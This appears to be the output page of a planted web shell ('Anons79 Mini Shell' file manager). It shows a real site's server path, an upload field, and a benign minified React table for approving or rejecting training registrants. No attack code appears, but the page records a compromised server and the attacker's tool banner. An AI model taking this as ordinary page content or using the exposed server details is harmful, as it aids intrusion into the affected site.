Anons79 Mini Shell

Directory : /home/aplikasiposinfo/public_html/talent.gosepakat.id/public/build/assets/
Upload File :
Current File : /home/aplikasiposinfo/public_html/talent.gosepakat.id/public/build/assets/DataTable-DJNAyNcb.js

import{X as t,j as e,A as p}from"./app-DXWVueIA.js";import{T as b,a as N,b as i,c as r,d as T,e as s}from"./table-mqwrc7Pg.js";import{u as k,T as v,a as w,b as y,c as C}from"./useSorting-BvGwOyV9.js";import{B as l,C as S}from"./Combination-BUcIGg2i.js";import{E as A}from"./eye-C1coI3HB.js";import{X as E}from"./x-BLpcvNvx.js";import"./utils-CytzSlOG.js";import"./createLucideIcon-Dc4LRknQ.js";import"./chevron-right-Be3sB-hW.js";import"./input-CSHc_NZk.js";import"./select-BqjSQAkW.js";import"./index-CQlsUeGi.js";import"./index-DK9k7neE.js";import"./index-D1H8MGCT.js";import"./index-C52FfLa6.js";function q(){const{filters:c}=t().props,h=t().props.datatable,{data:o,links:m}=t().props.datatable,{params:n,setParams:d,setTimeDebounce:x}=k(route(`${route().current()}`),c),{sort:j}=y(c,d),u=a=>{var f=window.confirm("Yakin ingin menolak peserta ini?");f==!0&&p.post(route("admin.pendaftaran.reject",{id:a}))},g=a=>{p.post(route("admin.pendaftaran.approve",{id:a}))};return e.jsxs("div",{className:"space-y-4",children:[e.jsx(v,{placeholder:"Search peserta",search:n.search,params:n,setParams:d,setTimeDebounce:x}),e.jsx("div",{className:"",children:e.jsxs(b,{children:[e.jsx(N,{children:e.jsxs(i,{children:[e.jsx(r,{children:e.jsx(w,{className:"",title:"Waktu Mendaftar",onClick:()=>{x(50),j("created_at")},sort:n.col==="created_at"?n.sort:"desc"})}),e.jsx(r,{children:"NIK"}),e.jsx(r,{children:"Nama"}),e.jsx(r,{children:"Email"}),e.jsx(r,{children:"Pelatihan"}),e.jsx(r,{children:"Status"}),e.jsx(r,{children:"Action"})]})}),e.jsx(T,{children:o.length>0?o.map(a=>e.jsxs(i,{className:"bg-white",children:[e.jsx(s,{children:a.waktu_mendaftar}),e.jsx(s,{children:a.user?a.user.peserta.nik:"-"}),e.jsx(s,{children:a.user.nama}),e.jsx(s,{children:a.user.email}),e.jsx(s,{children:a.pelatihan.title}),e.jsx(s,{children:a.status=="pending"?e.jsx("span",{className:"inline-flex items-center rounded bg-orange-50 px-2 py-0.5 text-xs font-medium text-orange-500 ring-1 ring-inset ring-orange-600/20",children:"Pending"}):a.status=="reject"?e.jsx("span",{className:"inline-flex items-center rounded bg-red-50 px-2 py-0.5 text-xs font-medium text-red-700 ring-1 ring-inset ring-red-600/10",children:"Reject"}):e.jsx("span",{className:"inline-flex items-center rounded bg-green-50 px-2 py-0.5 text-xs font-medium text-green-700 ring-1 ring-inset ring-green-600/20",children:"Approve"})}),e.jsx(s,{children:e.jsxs("div",{className:"flex items-center gap-2",children:[e.jsx("a",{href:route("admin.pendaftaran.show",{id:a.id}),target:"_blank",children:e.jsx(l,{variant:"outline",children:e.jsx(A,{className:"w-4 h-4 text-blue-500"})})}),a.status=="pending"&&e.jsxs(e.Fragment,{children:[e.jsx(l,{variant:"outline",onClick:()=>g(a.id),children:e.jsx(S,{className:"w-4 h-4 text-green-500"})}),e.jsx(l,{variant:"destructive",onClick:()=>u(a.id),children:e.jsx(E,{className:"w-4 h-4 text-white"})})]})]})})]},a.id)):e.jsx(i,{children:e.jsx(s,{colSpan:6,className:"h-24 text-center bg-white",children:"No results found."})})})]})}),e.jsx(C,{links:m,meta:h})]})}export{q as default};

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]